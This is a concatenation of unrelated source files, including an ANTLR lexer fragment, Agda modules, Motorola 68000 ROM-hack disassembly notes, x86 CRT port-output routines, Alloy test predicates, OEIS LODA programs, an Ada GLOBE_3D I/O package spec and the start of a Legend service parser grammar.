A; JP : J P; KA : K A; LANG : L A N G; LANGUAGE : L A N G U A G E; LC : L C; LEASM : L E A S M; LENGTH : L E N G T H; LIB : L I B; LILIAN : L I L I A N; LIN : L I N; LINECOUNT : L I N E C O U N T; LINKAGE : L I N K A G E; LIST : L I S T; LM : L M; LONGMIXED : L O N G M I X E D; LONGUPPER : L O N G U P P E R; LPARENCHAR : '('; LU : L U; MAP : M A P; MARGINS : M A R G I N S; MAX : M A X; MD : M D; MDECK : M D E C K; MIG : M I G; MIXED : M I X E D; NAME : <NAME>; NAT : N A T; NATIONAL : N A T I O N A L; NATLANG : N A T L A N G; NN : N N; NO : N O; NOADATA : N O A D A T A; NOADV : N O A D V; NOALIAS : N O A L I A S; NOAWO : N O A W O; NOBLOCK0 : N O B L O C K '0'; NOC : N O C; NOCBLCARD : N O C B L C A R D; NOCICS : N O C I C S; NOCMPR2 : N O C M P R '2'; NOCOMPILE : N O C O M P I L E; NOCPSM : N O C P S M; NOCURR : N O C U R R; NOCURRENCY : N O C U R R E N C Y; NOD : N O D; NODATEPROC : N O D A T E P R O C; NODBCS : N O D B C S; NODE : N O D E; NODEBUG : N O D E B U G; NODECK : N O D E C K; NODIAGTRUNC : N O D I A G T R U N C; NODLL : N O D L L; NODU : N O D U; NODUMP : N O D U M P; NODP : N O D P; NODTR : N O D T R; NODYN : N O D Y N; NODYNAM : N O D Y N A M; NOEDF : N O E D F; NOEJPD : N O E J P D; NOEPILOG : N O E P I L O G; NOEXIT : N O E X I T; NOEXP : N O E X P; NOEXPORTALL : N O E X P O R T A L L; NOF : N O F; NOFASTSRT : N O F A S T S R T; NOFEPI : N O F E P I; NOFLAG : N O F L A G; NOFLAGMIG : N O F L A G M I G; NOFLAGSTD : N O F L A G S T D; NOFSRT : N O F S R T; NOGRAPHIC : N O G R A P H I C; NOHOOK : N O H O O K; NOLENGTH : N O L E N G T H; NOLIB : N O L I B; NOLINKAGE : N O L I N K A G E; NOLIST : N O L I S T; NOMAP : N O M A P; NOMD : N O M D; NOMDECK : N O M D E C K; NONAME : N O N A M E; NONUM : N O N U M; NONUMBER : N O N U M B E R; NOOBJ : N O O B J; NOOBJECT : N O O B J E C T; NOOFF : N O O F F; NOOFFSET : N O O F F S E T; NOOPSEQUENCE : N O O P S E Q U E N C E; NOOPT : N O O P T; NOOPTIMIZE : N O O P T I M I Z E; NOOPTIONS : N O O P T I O N S; NOP : N O P; NOPFD : N O P F D; NOPROLOG : N O P R O L O G; NORENT : N O R E N T; NOS : N O S; NOSEP : N O S E P; NOSEPARATE : N O S E P A R A T E; NOSEQ : N O S E Q; NOSOURCE : N O S O U R C E; NOSPIE : N O S P I E; NOSQL : N O S Q L; NOSQLC : N O S Q L C; NOSQLCCSID : N O S Q L C C S I D; NOSSR : N O S S R; NOSSRANGE : N O S S R A N G E; NOSTDTRUNC : N O S T D T R U N C; NOSEQUENCE : N O S E Q U E N C E; NOTERM : N O T E R M; NOTERMINAL : N O T E R M I N A L; NOTEST : N O T E S T; NOTHREAD : N O T H R E A D; NOTRIG : N O T R I G; NOVBREF : N O V B R E F; NOWD : N O W D; NOWORD : N O W O R D; NOX : N O X; NOXREF : N O X R E F; NOZWB : N O Z W B; NS : N S; NSEQ : N S E Q; NSYMBOL : N S Y M B O L; NUM : N U M; NUMBER : N U M B E R; NUMPROC : N U M P R O C; OBJ : O B J; OBJECT : O B J E C T; OF : O F; OFF : O F F; OFFSET : O F F S E T; ON : O N; OP : O P; OPMARGINS : O P M A R G I N S; OPSEQUENCE : O P S E Q U E N C E; OPT : O P T; OPTFILE : O P T F I L E; OPTIMIZE : O P T I M I Z E; OPTIONS : O P T I O N S; OUT : O U T; OUTDD : O U T D D; PFD : P F D; PPTDBG : P P T D B G; PGMN : P G M N; PGMNAME : P G M N A M E; PROCESS : P R O C E S S; PROLOG : P R O L O G; QUOTE : Q U O T E; RENT : R E N T; REPLACE : R E P L A C E; REPLACING : R E P L A C I N G; RMODE : R M O D E; RPARENCHAR : ')'; SEP : S E P; SEPARATE : S E P A R A T E; SEQ : S E Q; SEQUENCE : S E Q U E N C E; SHORT : S H O R T; SIZE : S I Z E; SOURCE : S O U R C E; SP : S P; SPACE : S P A C E; SPIE : S P I E; SQL : S Q L; SQLC : S Q L C; SQLCCSID : S Q L C C S I D; SQLIMS : S Q L I M S; SKIP1 : S K I P '1'; SKIP2 : S K I P '2'; SKIP3 : S K I P '3'; SS : S S; SSR : S S R; SSRANGE : S S R A N G E; STD : S T D; SUPPRESS : S U P P R E S S; SYSEIB : S Y S E I B; SZ : S Z; TERM : T E R M; TERMINAL : T E R M I N A L; TEST : T E S T; THREAD : T H R E A D; TITLE : T I T L E; TRIG : T R I G; TRUNC : T R U N C; UE : U E; UPPER : U P P E R; VBREF : V B R E F; WD : W D; WORD : W O R D; XMLPARSE : X M L P A R S E; XMLSS : X M L S S; XOPTS: X O P T S; XP : X P; XREF : X R E F; YEARWINDOW : Y E A R W I N D O W; YW : Y W; ZWB : Z W B; C_CHAR : C; D_CHAR : D; E_CHAR : E; F_CHAR : F; H_CHAR : H; I_CHAR : I; M_CHAR : M; N_CHAR : N; Q_CHAR : Q; S_CHAR : S; U_CHAR : U; W_CHAR : W; X_CHAR : X; // symbols COMMENTTAG : '*>'; COMMACHAR : ','; DOT : '.'; DOUBLEEQUALCHAR : '=='; // literals NONNUMERICLITERAL : STRINGLITERAL | HEXNUMBER; NUMERICLITERAL : [0-9]+; fragment HEXNUMBER : X '"' [0-9A-F]+ '"' | X '\'' [0-9A-F]+ '\'' ; fragment STRINGLITERAL : '"' (~["\n\r] | '""' | '\'')* '"' | '\'' (~['\n\r] | '\'\'' | '"')* '\'' ; IDENTIFIER : [a-zA-Z0-9]+ ([-_]+ [a-zA-Z0-9]+)*; FILENAME : [a-zA-Z0-9]+ '.' [a-zA-Z0-9]+; // whitespace, line breaks, comments, ... NEWLINE : '\r'? '\n'; COMMENTLINE : COMMENTTAG ~('\n' | '\r')* -> channel(HIDDEN); WS : [ \t\f;]+ -> channel(HIDDEN); TEXT : ~('\n' | '\r'); // case insensitive chars fragment A:('a'|'A'); fragment B:('b'|'B'); fragment C:('c'|'C'); fragment D:('d'|'D'); fragment E:('e'|'E'); fragment F:('f'|'F'); fragment G:('g'|'G'); fragment H:('h'|'H'); fragment I:('i'|'I'); fragment J:('j'|'J'); fragment K:('k'|'K'); fragment L:('l'|'L'); fragment M:('m'|'M'); fragment N:('n'|'N'); fragment O:('o'|'O'); fragment P:('p'|'P'); fragment Q:('q'|'Q'); fragment R:('r'|'R'); fragment S:('s'|'S'); fragment T:('t'|'T'); fragment U:('u'|'U'); fragment V:('v'|'V'); fragment W:('w'|'W'); fragment X:('x'|'X'); fragment Y:('y'|'Y'); fragment Z:('z'|'Z');
agda-stdlib/travis/index.agda
DreamLinuxer/popl21-artifact
5
13661
module index where -- You probably want to start with this module: import README -- For a brief presentation of every single module, head over to import Everything -- Otherwise, here is an exhaustive, stern list of all the available modules:
dino/lcs/enemy/2D.asm
zengfr/arcade_game_romhacking_sourcecode_top_secret_data
6
25826
copyright zengfr site:http://github.com/zengfr/romhack 033D8E move.b ($2d,A6), D0 033D92 beq $33da2 [enemy+2D] 033D94 clr.b ($2d,A6) 033D98 add.b D0, ($24,A6) [enemy+2D] 0340A0 tst.b ($2d,A6) 0340A4 beq $340a8 [enemy+2D] 034176 tst.b ($2d,A6) [enemy+B8] 03417A beq $3417e [enemy+2D] 0342C4 tst.b ($2d,A6) 0342C8 beq $342cc [enemy+2D] 03B46A move.b ($2d,A2), D0 03B46E cmp.b ($a8,A6), D0 03C3A2 tst.b ($2d,A6) [enemy+80] 03C3A6 beq $3c3b2 [enemy+2D] 03C3A8 clr.b ($2d,A6) 03C3AC jsr $a062.l [enemy+2D] 040324 move.b #$1, ($2d,A6) [enemy+40, enemy+42] 04032A moveq #$1, D0 [enemy+2D] 041DB2 move.b ($2d,A6), D0 041DB6 move.w D0, ($a6,A1) [enemy+2D] 041DC2 move.b ($2d,A6), D0 041DC6 asl.w #3, D0 [enemy+2D] 041E16 move.b ($2d,A6), D1 041E1A cmp.b ($a4,A1), D1 [enemy+2D] 042DB0 tst.b ($2d,A6) 042DB4 bne $42dbc [enemy+2D] 042EB4 tst.b ($2d,A6) 042EB8 bne $42ec0 [enemy+2D] 043366 tst.b ($2d,A6) 04336A bne $43372 [enemy+2D] 0437E6 tst.b ($2d,A6) 0437EA bne $437f2 [enemy+2D] 04380E tst.b ($2d,A6) [base+502] 043812 beq $4381c [enemy+2D] 043814 clr.b ($2d,A6) 043818 bsr $4382a [enemy+2D] 045F9C tst.b ($2d,A6) 045FA0 bne $45fa8 [enemy+2D] 04601C tst.b ($2d,A6) 046020 bne $4602e [enemy+2D] 0462E4 tst.b ($2d,A6) 0462E8 bne $462f0 [enemy+2D] 0465BE tst.b ($2d,A6) 0465C2 bne $465ca [enemy+2D] 048870 move.b ($2d,A6), D1 [enemy+35] 048874 eor.b D1, D0 [enemy+2D] 049334 tst.b ($2d,A6) 049338 bne $4935c [enemy+2D] 04937E move.b ($2d,A6), D5 049382 move.b ($35,A6), D4 [enemy+2D] 04DF80 tst.b ($2d,A4) 04DF84 beq $4df90 [enemy+2D] 04DF86 clr.b ($2d,A4) 04DF8A move.b #$1, ($2f,A6) [enemy+2D] 04DFAC tst.b ($2d,A6) 04DFB0 bne $4dfb8 [enemy+2D] 04EC44 tst.b ($2d,A6) 04EC48 bne $4ec52 [enemy+2D] 04F374 move.b ($2d,A6), D5 04F378 move.b ($35,A6), D4 [enemy+2D] 05A2A6 move.b ($2d,A6), D0 05A2AA move.w D0, ($a6,A1) [enemy+2D] 05A2AE move.b ($2d,A6), D0 [enemy+A6] 05A2B2 cmpi.b #$63, D0 [enemy+2D] 05A312 move.b ($2d,A6), D1 05A316 cmp.b ($a4,A1), D1 [enemy+2D] 05A552 move.b ($2d,A1), D0 05A556 move.w D0, ($a6,A6) [enemy+2D] 05A568 move.b #$30, ($2d,A1) [enemy+ 5] 05A56E bra $5a5da [enemy+2D] 05AAC4 move.b #$1, ($2d,A6) 05AACA moveq #$1e, D0 [enemy+2D] 05AD28 cmpi.b #$2f, ($2d,A6) 05AD2E bne $5ad78 [enemy+2D] 05B39C tst.b ($2d,A6) 05B3A0 bne $5b3ac [enemy+2D] 05B426 tst.b ($2d,A6) 05B42A bne $5b436 [enemy+2D] 05F9F2 tst.b ($2d,A6) 05F9F6 bpl $5f9fe [enemy+2D] 05F9FE tst.b ($2d,A6) 05FA02 beq $5fa2a [enemy+2D] 05FA1C clr.b ($2d,A6) 05FA20 bsr $5fa36 [enemy+2D] 094594 move.b ($2d,A4), D0 094598 cmp.b ($5c,A6), D0 [enemy+2D] copyright zengfr site:http://github.com/zengfr/romhack
base/crts/crtw32/lowio/i386/outp.asm
npocmaka/Windows-Server-2003
17
241668
page ,132 title outp - output from ports ;*** ;outp.asm - _outp, _outpw and _outpd routines ; ; Copyright (c) 1993-2001, Microsoft Corporation. All rights reserved. ; ;Purpose: ; Defines the write-to-a-port functions: _outp(), _outpw() and outpd(). ; ;Revision History: ; 04-09-93 GJF Resurrected. ; 04-13-93 GJF Arg/ret types changed slightly. ; ;******************************************************************************* .xlist include cruntime.inc .list page ;*** ;int _outp(port, databyte) - write byte from port ;unsigned short _outpw(port, dataword) - write word from port ;unsigned long _outpd(port, datadword) - write dword from port ; ;Purpose: ; Write single byte/word/dword to the specified port. ; ;Entry: ; unsigned short port - port to write to ; ;Exit: ; returns value written. ; ;Uses: ; EAX, EDX ; ;Exceptions: ; ;******************************************************************************* CODESEG public _outp, _outpw, _outpd _outp proc xor eax,eax mov dx,word ptr [esp + 4] mov al,byte ptr [esp + 8] out dx,al ret _outp endp _outpw proc mov dx,word ptr [esp + 4] mov ax,word ptr [esp + 8] out dx,ax ret _outpw endp _outpd proc mov dx,word ptr [esp + 4] mov eax,[esp + 8] out dx,eax ret _outpd endp end
experiments/test-suite/grand.als
kaiyuanw/MuAlloy
6
273
<reponame>kaiyuanw/MuAlloy pred test1 { some disj Woman0, Woman1, Woman2: Woman {some disj Woman0, Woman1, Woman2: Person { no Man no wife Woman = Woman0 + Woman1 + Woman2 no husband Person = Woman0 + Woman1 + Woman2 no father mother = Woman0->Woman2 + Woman1->Woman0 }} } run test1 for 4 pred test2 { no Man no wife no Woman no husband no Person no father no mother } run test2 for 4 pred test3 { some disj Man0, Man1, Man2: Man {some disj Woman0: Woman {some disj Woman0, Man0, Man1, Man2: Person { Man = Man0 + Man1 + Man2 no wife Woman = Woman0 no husband Person = Woman0 + Man0 + Man1 + Man2 father = Man2->Man0 + Man2->Man1 mother = Man1->Woman0 }}} } run test3 for 4 pred test4 { some disj Woman0: Woman {some disj Woman0: Person { no Man no wife Woman = Woman0 no husband Person = Woman0 no father no mother }} } run test4 for 4 pred test5 { some disj Man0, Man1: Man {some disj Woman0, Woman1: Woman {some disj Woman0, Woman1, Man0, Man1: Person { Man = Man0 + Man1 no wife Woman = Woman0 + Woman1 no husband Person = Woman0 + Woman1 + Man0 + Man1 no father mother = Man1->Woman0 + Man1->Woman1 }}} } run test5 for 4 pred test6 { some disj Man0, Man1: Man {some disj Man0, Man1: Person { Man = Man0 + Man1 no wife no Woman no husband Person = Man0 + Man1 father = Man1->Man0 no mother }} } run test6 for 4 pred test7 { some disj Man0: Man {some disj Woman0, Woman1, Woman2: Woman {some disj Woman0, Woman1, Woman2, Man0: Person { Man = Man0 wife = Man0->Woman0 + Man0->Woman1 + Man0->Woman2 Woman = Woman0 + Woman1 + Woman2 husband = Woman0->Man0 + Woman1->Man0 + Woman2->Man0 Person = Woman0 + Woman1 + Woman2 + Man0 no father mother = Woman0->Woman2 + Woman1->Woman2 }}} } run test7 for 4 pred test8 { some disj Man0: Man {some disj Man0: Person { Man = Man0 no wife no Woman no husband Person = Man0 no father no mother }} } run test8 for 4 pred test9 { some disj Man0, Man1, Man2: Man {some disj Woman0: Woman {some disj Man0, Man1, Man2, Woman0: Person { Man = Man0 + Man1 + Man2 wife = Man0->Woman0 + Man1->Woman0 + Man2->Woman0 Woman = Woman0 husband = Woman0->Man0 + Woman0->Man1 + Woman0->Man2 Person = Man0 + Man1 + Man2 + Woman0 father = Man1->Man2 + Man2->Man0 no mother }}} } run test9 for 4 pred test10 { some disj Man0: Man {some disj Man0: Person { Man = Man0 no wife no Woman no husband Person = Man0 no father no mother ownGrandpa[Man0] }} } run test10 for 4 pred test11 { some disj Man0, Man1, Man2, Man3: Man {some disj Man0, Man1, Man2, Man3: Person { Man = Man0 + Man1 + Man2 + Man3 no wife no Woman no husband Person = Man0 + Man1 + Man2 + Man3 father = Man0->Man2 + Man1->Man0 + Man3->Man1 no mother grandpas[Man3] = Man0 }} } run test11 for 4 pred test12 { some disj Man0, Man1, Man2: Man {some disj Woman0: Woman {some disj Woman0, Man0, Man1, Man2: Person { Man = Man0 + Man1 + Man2 wife = Man1->Woman0 Woman = Woman0 husband = Woman0->Man1 Person = Woman0 + Man0 + Man1 + Man2 father = Man2->Man0 mother = Man0->Woman0 grandpas[Man2] = Man1 }}} } run test12 for 4 pred test13 { some disj Man0, Man1, Man2, Man3: Man {some disj Man0, Man1, Man2, Man3: Person { Man = Man0 + Man1 + Man2 + Man3 no wife no Woman no husband Person = Man0 + Man1 + Man2 + Man3 father = Man0->Man2 + Man1->Man2 + Man2->Man3 no mother grandpas[Man3] = none }} } run test13 for 4 pred test14 { some disj Man0: Man {some disj Man0: Person { Man = Man0 no wife no Woman no husband Person = Man0 no father no mother grandpas[Man0] = none }} } run test14 for 4 pred test15 { some disj Man0, Man1, Man2: Man {some disj Woman0: Woman {some disj Woman0, Man0, Man1, Man2: Person { Man = Man0 + Man1 + Man2 no wife Woman = Woman0 no husband Person = Woman0 + Man0 + Man1 + Man2 father = Woman0->Man1 + Man2->Man0 mother = Man0->Woman0 grandpas[Man2] = none }}} } run test15 for 4 pred test16 { some disj Man0, Man1, Man2: Man {some disj Woman0: Woman {some disj Woman0, Man0, Man1, Man2: Person { Man = Man0 + Man1 + Man2 wife = Man1->Woman0 Woman = Woman0 husband = Woman0->Man1 Person = Woman0 + Man0 + Man1 + Man2 father = Woman0->Man0 + Man2->Man1 no mother grandpas[Man2] = Man0 }}} } run test16 for 4 pred test17 { some disj Man0, Man1, Man2: Man {some disj Woman0: Woman {some disj Woman0, Man0, Man1, Man2: Person { Man = Man0 + Man1 + Man2 no wife Woman = Woman0 no husband Person = Woman0 + Man0 + Man1 + Man2 father = Woman0->Man1 + Man1->Man0 mother = Man2->Woman0 grandpas[Man2] = Man1 }}} } run test17 for 4 pred test18 { some disj Man0, Man1: Man {some disj Woman0, Woman1: Woman {some disj Woman0, Man0, Man1, Woman1: Person { Man = Man0 + Man1 wife = Man1->Woman1 Woman = Woman0 + Woman1 husband = Woman1->Man1 Person = Woman0 + Man0 + Man1 + Woman1 father = Woman0->Man0 mother = Woman1->Woman0 grandpas[Woman1] = Man0 }}} } run test18 for 4 pred test19 { some disj Man0, Man1, Man2, Man3: Man {some disj Man0, Man1, Man2, Man3: Person { Man = Man0 + Man1 + Man2 + Man3 no wife no Woman no husband Person = Man0 + Man1 + Man2 + Man3 father = Man1->Man3 + Man2->Man0 + Man3->Man2 no mother grandpas[Man3] = Man0 }} } run test19 for 4 pred test20 { some disj Man0, Man1: Man {some disj Woman0, Woman1: Woman {some disj Woman0, Woman1, Man0, Man1: Person { Man = Man0 + Man1 no wife Woman = Woman0 + Woman1 no husband Person = Woman0 + Woman1 + Man0 + Man1 father = Woman1->Man0 mother = Woman0->Woman1 + Man1->Woman0 grandpas[Man1] = none }}} } run test20 for 4 pred test21 { some disj Man0, Man1: Man {some disj Man0, Man1: Person { Man = Man0 + Man1 no wife no Woman no husband Person = Man0 + Man1 father = Man0->Man1 no mother grandpas[Man1] = none }} } run test21 for 4 pred test22 { some disj Man0, Man1: Man {some disj Man0, Man1: Person { Man = Man0 + Man1 no wife no Woman no husband Person = Man0 + Man1 father = Man1->Man0 no mother grandpas[Man1] = none }} } run test22 for 4 pred test23 { some disj Man0, Man1, Man2, Man3: Man {some disj Man0, Man1, Man2, Man3: Person { Man = Man0 + Man1 + Man2 + Man3 no wife no Woman no husband Person = Man0 + Man1 + Man2 + Man3 father = Man1->Man2 + Man2->Man0 + Man3->Man1 no mother grandpas[Man3] = Man2 }} } run test23 for 4 pred test24 { some disj Woman0: Woman {some disj Woman0: Person { no Man no wife Woman = Woman0 no husband Person = Woman0 no father mother = Woman0->Woman0 }} } run test24 for 4 pred test25 { some disj Woman0, Woman1, Woman2, Woman3: Woman {some disj Woman0, Woman1, Woman2, Woman3: Person { no Man no wife Woman = Woman0 + Woman1 + Woman2 + Woman3 no husband Person = Woman0 + Woman1 + Woman2 + Woman3 no father mother = Woman0->Woman3 + Woman1->Woman2 + Woman2->Woman0 + Woman3->Woman1 }} } run test25 for 4 pred test26 { some disj Man0: Man {some disj Woman0, Woman1, Woman2: Woman {some disj Woman0, Woman1, Woman2, Man0: Person { Man = Man0 no wife Woman = Woman0 + Woman1 + Woman2 no husband Person = Woman0 + Woman1 + Woman2 + Man0 father = Woman1->Man0 + Woman2->Man0 mother = Woman0->Woman2 + Woman2->Woman1 + Man0->Woman0 }}} } run test26 for 4 pred test27 { some disj Man0, Man1: Man {some disj Woman0: Woman {some disj Woman0, Man0, Man1: Person { Man = Man0 + Man1 no wife Woman = Woman0 husband = Woman0->Man1 Person = Woman0 + Man0 + Man1 father = Man1->Man0 mother = Man0->Woman0 }}} } run test27 for 4 pred test28 { some disj Man0: Man {some disj Woman0: Woman {some disj Woman0, Man0: Person { Man = Man0 wife = Man0->Woman0 Woman = Woman0 husband = Woman0->Man0 Person = Woman0 + Man0 father = Woman0->Man0 no mother }}} } run test28 for 4 pred test29 { some disj Man0: Man {some disj Woman0, Woman1: Woman {some disj Woman0, Woman1, Man0: Person { Man = Man0 wife = Man0->Woman1 Woman = Woman0 + Woman1 husband = Woman1->Man0 Person = Woman0 + Woman1 + Man0 father = Woman0->Man0 mother = Woman0->Woman1 + Man0->Woman1 }}} } run test29 for 4 pred test30 { some disj Woman0, Woman1: Woman {some disj Woman0, Woman1: Person { no Man no wife Woman = Woman0 + Woman1 no husband Person = Woman0 + Woman1 no father mother = Woman1->Woman0 }} } run test30 for 4 pred test31 { some disj Man0: Man {some disj Woman0, Woman1: Woman {some disj Woman0, Woman1, Man0: Person { Man = Man0 wife = Man0->Woman1 Woman = Woman0 + Woman1 husband = Woman1->Man0 Person = Woman0 + Woman1 + Man0 no father mother = Woman1->Woman0 }}} } run test31 for 4 pred test32 { some disj Man0: Man {some disj Woman0, Woman1: Woman {some disj Woman0, Woman1, Man0: Person { Man = Man0 wife = Man0->Woman1 Woman = Woman0 + Woman1 husband = Woman1->Man0 Person = Woman0 + Woman1 + Man0 no father mother = Woman1->Woman0 + Man0->Woman1 }}} } run test32 for 4 pred test33 { some disj Man0: Man {some disj Woman0, Woman1: Woman {some disj Woman0, Woman1, Man0: Person { Man = Man0 wife = Man0->Woman1 Woman = Woman0 + Woman1 husband = Woman1->Man0 Person = Woman0 + Woman1 + Man0 no father mother = Woman0->Woman1 + Man0->Woman0 }}} } run test33 for 4 pred test34 { some disj Man0: Man {some disj Woman0, Woman1, Woman2: Woman {some disj Woman0, Woman1, Woman2, Man0: Person { Man = Man0 wife = Man0->Woman2 Woman = Woman0 + Woman1 + Woman2 husband = Woman2->Man0 Person = Woman0 + Woman1 + Woman2 + Man0 father = Woman1->Man0 mother = Woman0->Woman2 + Man0->Woman0 }}} } run test34 for 4 pred test35 { some disj Man0, Man1: Man {some disj Woman0, Woman1: Woman {some disj Woman0, Woman1, Man0, Man1: Person { Man = Man0 + Man1 wife = Man0->Woman1 + Man1->Woman0 Woman = Woman0 + Woman1 husband = Woman0->Man1 + Woman1->Man0 Person = Woman0 + Woman1 + Man0 + Man1 father = Man1->Man0 mother = Man0->Woman0 }}} } run test35 for 4 pred test36 { some disj Man0: Man {some disj Woman0, Woman1: Woman {some disj Woman0, Woman1, Man0: Person { Man = Man0 wife = Man0->Woman1 Woman = Woman0 + Woman1 husband = Woman1->Man0 Person = Woman0 + Woman1 + Man0 father = Woman0->Man0 + Woman1->Man0 mother = Woman0->Woman1 }}} } run test36 for 4 pred test37 { some disj Man0: Man {some disj Woman0: Woman {some disj Woman0, Man0: Person { Man = Man0 no wife Woman = Woman0 no husband Person = Woman0 + Man0 father = Woman0->Man0 no mother }}} } run test37 for 4 pred test38 { some disj Man0: Man {some disj Woman0, Woman1: Woman {some disj Woman0, Woman1, Man0: Person { Man = Man0 wife = Man0->Woman1 Woman = Woman0 + Woman1 husband = Woman1->Man0 Person = Woman0 + Woman1 + Man0 father = Woman1->Man0 mother = Woman1->Woman0 }}} } run test38 for 4 pred test39 { some disj Man0: Man {some disj Woman0, Woman1: Woman {some disj Woman0, Woman1, Man0: Person { Man = Man0 wife = Man0->Woman1 Woman = Woman0 + Woman1 husband = Woman1->Man0 Person = Woman0 + Woman1 + Man0 father = Woman0->Man0 mother = Woman1->Woman0 }}} } run test39 for 4 pred test40 { some disj Man0, Man1, Man2: Man {some disj Woman0: Woman {some disj Woman0, Man0, Man1, Man2: Person { Man = Man0 + Man1 + Man2 wife = Man2->Woman0 Woman = Woman0 husband = Woman0->Man2 Person = Woman0 + Man0 + Man1 + Man2 father = Woman0->Man1 + Man1->Man2 no mother }}} } run test40 for 4
src/src/c/borlandc/dpmi32/setdta.asm
amindlost/wdosx
7
172336
<reponame>amindlost/wdosx<filename>src/src/c/borlandc/dpmi32/setdta.asm .386 .model flat,C PUBLIC setdta ; Not supported in 0.93 yet, don't use until 0.94 is out! ; Use the default DTA at psp:[80h] instead. .code setdta proc near mov ah,1Ah mov edx,[esp+4] int 21h ret setdta endp end
oeis/157/A157660.asm
neoneye/loda-programs
11
80118
<filename>oeis/157/A157660.asm ; A157660: a(n) = 8000*n - 40. ; 7960,15960,23960,31960,39960,47960,55960,63960,71960,79960,87960,95960,103960,111960,119960,127960,135960,143960,151960,159960,167960,175960,183960,191960,199960,207960,215960,223960,231960,239960,247960,255960,263960,271960,279960,287960,295960,303960,311960,319960,327960,335960,343960,351960,359960,367960,375960,383960,391960,399960,407960,415960,423960,431960,439960,447960,455960,463960,471960,479960,487960,495960,503960,511960,519960,527960,535960,543960,551960,559960,567960,575960,583960 mul $0,8000 add $0,7960
oeis/065/A065608.asm
neoneye/loda-programs
11
10010
<filename>oeis/065/A065608.asm ; A065608: Sum of divisors of n minus the number of divisors of n. ; Submitted by <NAME>(w2) ; 0,1,2,4,4,8,6,11,10,14,10,22,12,20,20,26,16,33,18,36,28,32,22,52,28,38,36,50,28,64,30,57,44,50,44,82,36,56,52,82,40,88,42,78,72,68,46,114,54,87,68,92,52,112,68,112,76,86,58,156,60,92,98,120,80,136,66,120,92,136,70,183,72,110,118,134,92,160,78,176,116,122,82,212,104,128,116,172,88,222,108,162,124,140,116,240,96,165,150,208 add $0,1 mov $2,$0 sub $0,1 lpb $0 mov $3,$0 sub $0,1 mov $4,$2 gcd $4,$3 trn $4,$0 pow $3,$4 add $1,$3 lpe mov $0,$1
libsrc/_DEVELOPMENT/math/float/math48/lm/c/sccz80/l_f48_ldexp.asm
jpoikela/z88dk
38
87977
<filename>libsrc/_DEVELOPMENT/math/float/math48/lm/c/sccz80/l_f48_ldexp.asm<gh_stars>10-100 SECTION code_fp_math48 PUBLIC l_f48_ldexp EXTERN dload ; ; double ldexp (double x, int exp); ; Generate value from significand and exponent ; Returns the result of multiplying x (the significand) by 2 ; raised to the power of exp (the exponent). ; Stack: float value, ret ; Registers: a = amount to adjust exponent l_f48_ldexp: exx ;switch to AC add l ld l,a exx ret
examples/outdated-and-incorrect/Alonzo/TestVec.agda
asr/agda-kanso
1
11325
module TestVec where open import PreludeNatType open import PreludeShow infixr 40 _::_ data Vec (A : Set) : Nat -> Set where [] : Vec A zero _::_ : {n : Nat} -> A -> Vec A n -> Vec A (suc n) head : {A : Set}{n : Nat} -> Vec A (suc n) -> A head (x :: _) = x -- no need for a [] case length : {A : Set}{n : Nat} -> Vec A n -> Nat length {A} {n} v = n three : Vec Nat 3 three = 1 :: 2 :: 3 :: [] mainS = showNat (length three)
Sources/Globe_3d/globe_3d-io.ads
ForYouEyesOnly/Space-Convoy
1
5059
------------------------------------ -- Input and Output of 3D objects -- ------------------------------------ -- NB : after reading/loading an object or a group of objects, don't -- forget to use Rebuild_links for linking them together and -- finding texture id's with GLOBE_3D.BSP; with Ada.Streams.Stream_IO; package GLOBE_3D.IO is ------------------------------ -- I/O from/to data streams -- ------------------------------ -- Allocate and read an object from a data stream procedure Read ( s : in Ada.Streams.Stream_IO.Stream_Access; o : out p_Object_3D ); -- Write an object to a data stream procedure Write ( s : in Ada.Streams.Stream_IO.Stream_Access; o : in Object_3D ); ----------------------- -- I/O from/to files -- ----------------------- object_extension : constant String := ".g3d"; -- Allocate and read an object from a file procedure Load_file (file_name : String; o : out p_Object_3D); -- Write an object to a file procedure Save_file (file_name : String; o : in Object_3D'class); -- Write an object to a file, using the object's ID as file name procedure Save_file (o : in Object_3D'class); BSP_extension : constant String := ".bsp"; -- Write a BSP tree to a file procedure Save_file (file_name : String; tree : in BSP.p_BSP_node); ------------------------------------------------------------- -- Input from files archived into a GLOBE_3D resource file -- ------------------------------------------------------------- -- Allocate and read an object from the Level or, -- when not there, from the Global data resource procedure Load (name_in_resource : String; o : out p_Object_3D); -- Allocate and read an BSP tree from a file. -- -- The procedure uses the dictionary of objects in 'referred' to -- put the right accesses to 3D visuals on the tree's leaves. -- From the file, we know only the visuals' names. -- -- So before loading the BSP tree, you need first to load all -- visuals that are referred to in the BSP tree, and build a -- dictionary (map). You can use the GLOBE_3D.Add procedure -- to do that. procedure Load ( name_in_resource : in String; referred : in Map_of_Visuals; tree : out BSP.p_BSP_node ); Bad_data_format : exception; Missing_object_in_BSP : exception; end GLOBE_3D.IO;
legend-engine-language-pure-dsl-service/src/main/antlr4/org/finos/legend/engine/language/pure/grammar/from/antlr4/ServiceParserGrammar.g4
agpooja/legend-engine
0
1006
parser grammar ServiceParserGrammar; import M3ParserGrammar; options { tokenVocab = ServiceLexerGrammar; } // -------------------------------------- IDENTIFIER -------------------------------------- identifier: VALID_STRING | STRING | ALL | LET | ALL_VERSIONS | ALL_VERSIONS_IN_RANGE // from M3Parser | STEREOTYPES | TAGS | SERVICE | IMPORT | SERVICE_SINGLE | SERVICE_MULTI | SERVICE_AUTHORIZER | SERVICE_PATTERN | SERVICE_OWNERS | SERVICE_DOCUMENTATION | SERVICE_AUTO_ACTIVATE_UPDATES | SERVICE_EXECUTION | SERVICE_FUNCTION | SERVICE_EXECUTION_KEY | SERVICE_EXECUTION_EXECUTIONS | SERVICE_RUNTIME | SERVICE_MAPPING | SERVICE_TEST | SERVICE_TEST_TESTS | SERVICE_DATA | SERVICE_ASSERTS ; // -------------------------------------- DEFINITION -------------------------------------- definition: imports (service)* EOF ; imports: (importStatement)* ; importStatement: IMPORT packagePath PATH_SEPARATOR STAR SEMI_COLON ; service: SERVICE stereotypes? taggedValues? qualifiedName BRACE_OPEN ( servicePattern | serviceOwners | serviceDocumentation | serviceAutoActivateUpdates | serviceAuthorizer | serviceExec | serviceTest )* BRACE_CLOSE ; stereotypes: LESS_THAN LESS_THAN stereotype (COMMA stereotype)* GREATER_THAN GREATER_THAN ; stereotype: qualifiedName DOT identifier ; taggedValues: BRACE_OPEN taggedValue (COMMA taggedValue)* BRACE_CLOSE ; taggedValue: qualifiedName DOT identifier EQUAL STRING ; servicePattern: SERVICE_PATTERN COLON STRING SEMI_COLON ; serviceOwners: SERVICE_OWNERS COLON BRACKET_OPEN 